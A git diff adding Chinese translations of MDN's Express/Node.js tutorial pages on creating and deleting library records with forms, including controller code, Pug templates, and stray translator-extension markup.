token">{</span> name<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>name <span class="punctuation token">}</span> + <span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>errors<span class="punctuation token">.</span><span class="function token">isEmpty</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// There are errors. Render the form again with sanitized values/error messages.</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'genre_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Create Genre'</span><span class="punctuation token">,</span> genre<span class="punctuation token">:</span> genre<span class="punctuation token">,</span> errors<span class="punctuation token">:</span> errors<span class="punctuation token">.</span><span class="function token">array</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">return</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="keyword token">else</span> <span class="punctuation token">{</span> + <span class="comment token">// Data from form is valid.</span> + <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="operator token"><</span>save the result<span class="operator token">></span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> + <span class="punctuation token">}</span> +<span class="punctuation token">}</span></code></pre> + +<p>如果种类名称数据有效,那么我们检查,是否已存在具有相同名称的种类<code>Genre</code>(因为我们不想创建重复项)。</p> + +<p>如果是,我们会重定向到现有种类的详细信息页面。如果没有,我们保存新种类,并重定向到其详细信息页面。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Check if Genre with same name already exists.</span> +Genre<span class="punctuation token">.</span><span class="function token">findOne</span><span class="punctuation token">(</span><span class="punctuation token">{</span> <span class="string token">'name'</span><span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>name <span class="punctuation token">}</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span> <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> found_genre<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>found_genre<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// Genre exists, redirect to its detail page.</span> + res<span class="punctuation token">.</span><span class="function token">redirect</span><span class="punctuation token">(</span>found_genre<span class="punctuation token">.</span>url<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="keyword token">else</span> <span class="punctuation token">{</span> + genre<span class="punctuation token">.</span><span class="function token">save</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Genre saved. Redirect to genre detail page.</span> + res<span class="punctuation token">.</span><span class="function token">redirect</span><span class="punctuation token">(</span>genre<span class="punctuation token">.</span>url<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>在我们所有的 <code>POST</code>控制器中,都使用了相同的模式:我们运行验证器,然后运行消毒器,然后检查错误,并使用错误信息重新呈现表单,或保存数据。</p> + +<h2 class="highlight-spanned" id="视图"><span class="highlight-span">视图</span></h2> + +<p>当我们创建一个新的种类<code>Genre</code>时,在<code>GET</code>和<code>POST</code>控制器/路由中,都会呈现相同的视图(稍后在我们更新种类<code>Genre</code>时也会使用它)。</p> + +<p>在<code>GET</code>情况下,表单为空,我们只传递一个title变量。在<code>POST</code>情况下,用户先前输入了无效数据 - 在种类变量<code>genre</code>中,我们传回了输入数据的已清理版本,并且在<code>errors</code>变量中,我们传回了一组错误消息。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'genre_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Create Genre'</span><span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'genre_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Create Genre'</span><span class="punctuation token">,</span> genre<span class="punctuation token">:</span> genre<span class="punctuation token">,</span> errors<span class="punctuation token">:</span> errors<span class="punctuation token">.</span><span class="function token">array</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>创建 <strong>/views/genre_form.pug</strong>,并复制下面的文本。</p> + +<pre class="line-numbers language-html"><code class="language-html">extends layout + +block content + h1 #{title} + + form(method='POST' action='') + div.form-group + label(for='name') Genre: + input#name.form-control(type='text', placeholder='Fantasy, Poetry etc.' name='name' value=(undefined===genre ? '' : genre.name)) + button.btn.btn-primary(type='submit') Submit + + if errors + ul + for error in errors + li!= error.msg</code></pre> + +<p>从我们之前的教程中,可以很好地理解这个模板的大部分内容。首先,我们扩展 <strong>layout.pug</strong>基本模板,并覆盖名为 “<strong>content</strong>” 的块<code>block</code>。然后我们有一个标题,我们从控制器传入的标题<code>title</code>(通过<code>render()</code> 方法)。</p> + +<p>接下来,我们有 HTML表单的 Pug 代码,它使用<code>POST</code>方法将数据发送到服务器,并且因为操作<code>action</code>是空字符串,所以将数据发送到与页面相同的URL。</p> + +<p>表单定义了一个名为 “name” 的 “text” 类型的必填字段。字段的默认值,取决于是否定义了种类变量<code>genre</code>。如果从<code>GET</code>路由调用,它将为空,因为这是一个新表单。如果从<code>POST</code>路由调用,它将包含用户最初输入的(无效)值。</p> + +<p>页面的最后一部分是错误代码。如果已定义错误变量,则只会打印错误列表(换句话说,当模板在<code>GET</code>路由上呈现时,此部分不会出现)。</p> + +<div class="note"> +<p><strong>注意:</strong> 这只是呈现错误的一种方法。您还可以从错误变量中,获取受影响字段的名称,并使用这些,来控制错误消息的呈现位置,以及是否应用自定义 CSS 等。</p> +</div> + +<h2 class="highlight-spanned" id="它看起來像是"><span class="highlight-span">它看起來像是?</span></h2> + +<p>运行应用程序,打开浏览器到<a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>,然后选择 Create new genre 链接。如果一切设置正确,您的网站应该类似于以下屏幕截图。输入值后,应保存该值,您将进入种类详细信息页面。</p> + +<p><img alt="Genre Create Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14476/LocalLibary_Express_Genre_Create_Empty.png" style="border-style: solid; border-width: 1px; display: block; height: 301px; margin: 0px auto; width: 800px;"></p> + +<p>我们针对服务器端,验证的唯一错误是种类字段不能为空。下面的屏幕截图,显示了如果您没有提供种类(以红色突出显示),错误列表会是什么样子。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14480/LocalLibary_Express_Genre_Create_Error.png" style="border-style: solid; border-width: 1px; display: block; height: 249px; margin: 0px auto; width: 400px;"></p> + +<div class="note"> +<p><strong>注意:</strong> 我们的验证使用<code>trim()</code>,来确保不接受空格作为种类名称。我们还可以在表单中的字段定义中,添加值<code>required='true'</code>,来验证客户端字段不为空:</p> + +<pre class="brush: js"><code>input#name.form-control(type='text', placeholder='Fantasy, Poetry etc.' name='name' value=(undefined===genre ? '' : genre.name), <strong>required='true'</strong> )</code></pre> +</div> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6: 使用表单</a></li> + <li>继续教程 6 下一个部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms/Create_author_form">创建作者表单</a></li> +</ul> + +<div id="SL_balloon_obj" style="display: block;"> +<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: none; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important; opacity: 1;"> </div> + +<div id="SL_shadow_translation_result2" style="display: none;"> </div> + +<div id="SL_shadow_translator" style="display: none;"> +<div id="SL_planshet"> +<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important;"> </div> + +<div id="SL_Bproviders"> +<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div> + +<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div> + +<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div> +</div> + +<div id="SL_alert_bbl" style="display: none;"> +<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important;"> </div> + +<div id="SL_alert_cont"> </div> +</div> + +<div id="SL_TB"> +<table id="SL_tables"> + <tbody> + <tr> + <td class="SL_td"><input></td> + <td class="SL_td"><select><option value="auto">Detect language</option><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="be">Belarusian</option><option value="bn">Bengali</option><option value="bs">Bosnian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinese (Simplified)</option><option value="zh-TW">Chinese (Traditional)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="ha">Hausa</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="ig">Igbo</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="jw">Javanese</option><option value="kn">Kannada</option><option value="kk">Kazakh</option><option value="km">Khmer</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="mg">Malagasy</option><option value="ms">Malay</option><option value="ml">Malayalam</option><option value="mt">Maltese</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongolian</option><option value="my">Myanmar (Burmese)</option><option value="ne">Nepali</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="pa">Punjabi</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="st">Sesotho</option><option value="si">Sinhala</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="so">Somali</option><option value="es">Spanish</option><option value="su">Sundanese</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="tg">Tajik</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="uz">Uzbek</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option><option value="yo">Yoruba</option><option value="zu">Zulu</option></select></td> + <td class="SL_td"> + <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important;" title="Switch languages"> </div> + </td> + <td class="SL_td"><select><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="be">Belarusian</option><option value="bn">Bengali</option><option value="bs">Bosnian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinese (Simplified)</option><option value="zh-TW">Chinese (Traditional)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option selected value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="ha">Hausa</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="ig">Igbo</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="jw">Javanese</option><option value="kn">Kannada</option><option value="kk">Kazakh</option><option value="km">Khmer</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="mg">Malagasy</option><option value="ms">Malay</option><option value="ml">Malayalam</option><option value="mt">Maltese</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongolian</option><option value="my">Myanmar (Burmese)</option><option value="ne">Nepali</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="pa">Punjabi</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="st">Sesotho</option><option value="si">Sinhala</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="so">Somali</option><option value="es">Spanish</option><option value="su">Sundanese</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="tg">Tajik</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="uz">Uzbek</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option><option value="yo">Yoruba</option><option value="zu">Zulu</option></select></td> + <td class="SL_td"> + <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important;" title="Listen to the translation"> </div> + </td> + <td class="SL_td"> + <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important;" title="Copy translation"> </div> + </td> + <td class="SL_td"> + <div id="SL_bbl_font_patch"> </div> + + <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important;" title="Font size"> </div> + </td> + <td class="SL_td"> + <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important;" title="Help"> </div> + </td> + <td class="SL_td"> + <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important;" title="Pin pop-up bubble"> </div> + </td> + </tr> + </tbody> +</table> +</div> +</div> + +<div id="SL_shadow_translation_result" style=""> </div> + +<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important;"> </div> + +<div id="SL_player2"> </div> + +<div id="SL_alert100">Text-to-speech function is limited to 200 characters</div> + +<div id="SL_Balloon_options" style="background: rgb(0, 0, 0) repeat scroll 0% 0%; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important;"> +<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important;"> </div> + +<table id="SL_tbl_opt" style="width: 100%;"> + <tbody> + <tr> + <td><input></td> + <td> + <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; text-shadow: rgb(0, 0, 0) 0px 0px 1px, rgb(0, 0, 0) 0px 0px 2px, rgb(0, 0, 0) 0px 0px 3px, rgb(0, 0, 0) 0px 0px 4px, rgb(0, 0, 0) 0px 0px 5px !important;" title="Show Translator's button 3 second(s)"> </div> + </td> + <td><a class="SL_options" title="Show options">Options</a> : <a class="SL_options" title="Translation History">History</a> : <a class="SL_options" title="ImTranslator Feedback">Feedback</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=GD9D8CPW8HFA2" title="Make a small contribution">Donate</a></td> + <td><span id="SL_Balloon_Close" title="Close">Close</span></td> + </tr> + </tbody> +</table> +</div> +</div> +</div> diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/delete_author_form/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/delete_author_form/index.html new file mode 100644 index 0000000000..3b38e85e8a --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/delete_author_form/index.html @@ -0,0 +1,165 @@ +--- +title: 删除作者表单 +slug: learn/Server-side/Express_Nodejs/forms/Delete_author_form +translation_of: Learn/Server-side/Express_Nodejs/forms/Delete_author_form +--- +<p>此子文档显示,如何定义页面以删除<code>Author</code>对象。</p> + +<p>正如<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms#form_design">表单设计</a>部分所讨论的那样,我们的策略是,只允许删除 “未被其他对象引用” 的对象(在这种情况下,这意味着如果作者<code>Author</code>被一本书<code>Book</code>引用,我们将不允许删除作者)。在实现方面,这意味着,表单需要在删除作者之前,先确认没有关联的书籍。如果存在关联的书籍,则应显示它们,并说明在删除<code>Author</code>对象之前,必须删除它们。</p> + +<h2 class="highlight-spanned" id="控制器—get_路由">控制器—get 路由</h2> + +<p>打开<strong>/controllers/authorController.js</strong>。找到导出的<code>author_delete_get()</code> 控制器方法,并将其替换为以下代码。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">// Display Author delete form on GET. +exports.author_delete_get = function(req, res, next) { + + async.parallel({ + author: function(callback) { + Author.findById(req.params.id).exec(callback) + }, + authors_books: function(callback) { + Book.find({ 'author': req.params.id }).exec(callback) + }, + }, function(err, results) { + if (err) { return next(err); } + if (results.author==null) { // No results. + res.redirect('/catalog/authors'); + } + // Successful, so render. + res.render('author_delete', { title: 'Delete Author', author: results.author, author_books: results.authors_books } ); + }); + +};</code></pre> + +<p>控制器从URL参数(<code>req.params.id</code>)中,获取要删除的<code>Author</code>实例的 id。它使用<code>async.parallel()</code> 方法,并行获取作者记录和所有相关书本。当两个操作都完成后,它将呈现<code><strong>author_delete</strong></code><strong>.pug</strong>视图,为<code>title</code>、<code>author</code>、和 <code>author_books</code>传递变量。</p> + +<div class="note"> +<p><strong>注意:</strong> 如果<code>findById()</code>返回“没有结果”,则作者不在数据库中。在这种情况下,没有什么可以删除,所以我们立即呈现所有作者的列表。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">}, function(err, results) { + if (err) { return next(err); } + if (results.author==null) { // No results. + res.redirect('/catalog/authors') + }</code></pre> +</div> + +<h2 class="highlight-spanned" id="控制器—post_路由">控制器—post 路由</h2> + +<p>找到导出的<code>author_delete_post()</code>控制器方法,并将其替换为以下代码。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">// Handle Author delete on POST. +exports.author_delete_post = function(req, res, next) { + + async.parallel({ + author: function(callback) { + Author.findById(req.body.authorid).exec(callback) + }, + authors_books: function(callback) { + Book.find({ 'author': req.body.authorid }).exec(callback) + }, + }, function(err, results) { + if (err) { return next(err); } + // Success + if (results.authors_books.length > 0) { + // Author has books. Render in same way as for GET route. + res.render('author_delete', { title: 'Delete Author', author: results.author, author_books: results.authors_books } ); + return; + } + else { + // Author has no books. Delete object and redirect to the list of authors. + Author.findByIdAndRemove(req.body.authorid, function deleteAuthor(err) { + if (err) { return next(err); } + // Success - go to author list + res.redirect('/catalog/authors') + }) + } + }); +};</code></pre> + +<p>首先,我们验证是否已提供id(这是通过表单主体参数发送的,而不是使用URL中的版本)。然后我们以与<code>GET</code>路由相同的方式,获得作者及其相关书本。如果没有书本,那么我们删除作者对象,并重定向到所有作者的列表。如果还有书本,那么我们只需重新呈现表格,传递作者和要删除的书本列表。</p> + +<div class="note"> +<p><strong>注意:</strong> 我们可以检查对<code>findById()</code>的调用,是否返回任何结果,如果没有,则立即呈现所有作者的列表。为简洁起见,我们将代码保留在上面(如果找不到id,它仍会返回作者列表,但这将在<code>findByIdAndRemove()</code>之后发生)。</p> +</div> + +<h2 class="highlight-spanned" id="视图">视图</h2> + +<p>创建 <strong>/views/author_delete.pug</strong> 并复制贴上底下文字。</p> + +<pre class="line-numbers language-html"><code class="language-html">extends layout + +block content + h1 #{title}: #{author.name} + p= author.lifespan + + if author_books.length + + p #[strong Delete the following books before attempting to delete this author.] + + div(style='margin-left:20px;margin-top:20px') + + h4 Books + + dl + each book in author_books + dt + a(href=book.url) #{book.title} + dd #{book.summary} + + else + p Do you really want to delete this Author? + + form(method='POST' action='') + div.form-group + input#authorid.form-control(type='hidden',name='authorid', required='true', value=author._id ) + + button.btn.btn-primary(type='submit') Delete</code></pre> + +<p>视图扩展了布局模板,覆盖了名为<code>content</code>的区块。在顶部显示作者详细信息。然后它包含一个,基于<code><strong>author_books</strong></code>(<code>if</code>和<code>else</code>子句)数量的条件语句。</p> + +<ul> + <li>如果存在与作者相关联的书本,则该页面列出书本,并说明在删除该作者<code>Author</code>之前,必须删除这些书籍。</li> + <li>如果没有书本,则页面会显示确认提示。如果单击“删除”<strong>Delete</strong>按钮,则会在<code>POST</code>请求中,将作者ID发送到服务器,并且将删除该作者的记录。</li> +</ul> + +<h2 class="highlight-spanned" id="加入一个删除控制器">加入一个删除控制器</h2> + +<p>接下来,我们将向 Author 详细视图添加 <strong>Delete </strong>控件(详细信息页面是删除记录的好地方)。</p> + +<div class="note"> +<p><strong>注意:</strong> 在完整实现中,控件将仅对授权用户可见。但是在这个时间点上,我们还没有一个授权系统!</p> +</div> + +<p>打开<strong> author_detail.pug</strong> 视图,并在底部添加以下行。</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">hr +p + a(href=author.url+'/delete') Delete author</code></pre> + +<p>控件现在应显示为链接,如下面的作者详细信息页面所示。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14492/LocalLibary_Express_Author_Detail_Delete.png" style="border-style: solid; border-width: 1px; display: block; height: 202px; margin: 0px auto; width: 500px;"></p> + +<h2 class="highlight-spanned" id="它看起來像是">它看起來像是?</h2> + +<p>运行应用程序,并将浏览器打开,到<a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>。然后选择所有作者链接<em> All authors</em>,然后选择一个特定作者。最后选择删除作者链接 <em>Delete</em> author。</p> + +<p>如果作者没有书本,您将看到这样的页面。按删除后,服务器将删除作者并重定向到作者列表。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14494/LocalLibary_Express_Author_Delete_NoBooks.png" style="border-style: solid; border-width: 1px; display: block; height: 342px; margin: 0px auto; width: 600px;"></p> + +<p>如果作者确实有书本,那么您将看到如下视图。然后,您可以从其详细信息页面中,删除这些书本(一旦该代码被实现!)。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14496/LocalLibary_Express_Author_Delete_WithBooks.png" style="border-style: solid; border-width: 1px; display: block; height: 327px; margin: 0px auto; width: 500px;"></p> + +<div class="note"> +<p><strong>注意:</strong> 其他删除对象的页面,可以用相同的方式实现。我们把它留下,作为挑战。</p> +</div> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6: 使用表单</a></li> + <li>继续教程 6 子文档的下一步: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms/Update_Book_form">更新书本表单</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/forms/index.html b/files/zh-cn/learn/server-side/express_nodejs/forms/index.html new file mode 100644 index 0000000000..f3cee84344 --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/forms/index.html @@ -0,0 +1,286 @@ +--- +title: 'Express 教程 6: 使用表单' +slug: learn/Server-side/Express_Nodejs/forms +translation_of: Learn/Server-side/Express_Nodejs/forms +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs/deployment", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">在此教程中我们会教你如何使用Express并且结合Pug来实现HTML表单,并且如何从数据库中创建,更新和删除文档。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td> + <p>完成前面所有的教程,包括 <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程第5章: 展示图书馆数据</a></p> + </td> + </tr> + <tr> + <th scope="row">目标:</th> + <td> + <p>了解如何编写表单获取用户信息,并且将这些数据更新到数据库中。</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="概览">概览</h2> + +<p><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML表单</a>在网页中是一个或多个字段/小工具的集合,它被用来收集用户的信息,并将信息上传到服务器。表单作为一种用来收集用户的机制,非常的灵活,因为有各种合适的输入框,来接受各种类型的数据——文本框,复选框,单选按钮,时间选择器等。表单和服务器交互数据也相对安全,因为它使用POST请求发送数据,保护不受跨站点请求伪造攻击(cross-site request forgery)的威胁。</p> + +<p>但是表单同样也很复杂!开发者需要为表单编写 HTML,在服务器上验证,并且正确去除有害的数据(浏览器上也可能需要),对于任何不合法的字段,需要传给用户相应的错误信息,当数据成功提交后,处理数据,并设法通知用户提交成功。</p> + +<p>此教程将展示上述的操作,如何在 <em>Express </em>中实现。在此过程中,我们将扩展 LocalLibrary 网站,以允许用户创建,编辑和删除图书馆中的项目。</p> + +<div class="note"> +<p><strong>注意:</strong> 我们还没有考虑如何将特定路由,限制为经过身份验证或授权的用户,因此在这个时间点,任何用户都可以对数据库进行更改。</p> +</div> + +<h3 id="HTML表单">HTML表单</h3> + +<p>首先简要概述<a href="/zh-CN/docs/Web/Guide/HTML/Forms">HTML表单</a>。考虑一个简单的HTML表单,其中包含一个文本字段,用于输入某些 “团队” 的名称,及其相关标签:</p> + +<p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p> + +<p>表单在HTML中,定义为<code><form>...</form></code>标记内的元素集合,包含至少一个<code>type="submit"</code>的<code>input</code>输入元素。</p> + +<p>请注意,我非常建议您这里使用input的submit而不是button!这会使你感到愉悦。</p> + +<pre class="brush: html notranslate"><form action="/team_name_url/" method="post"> + <label 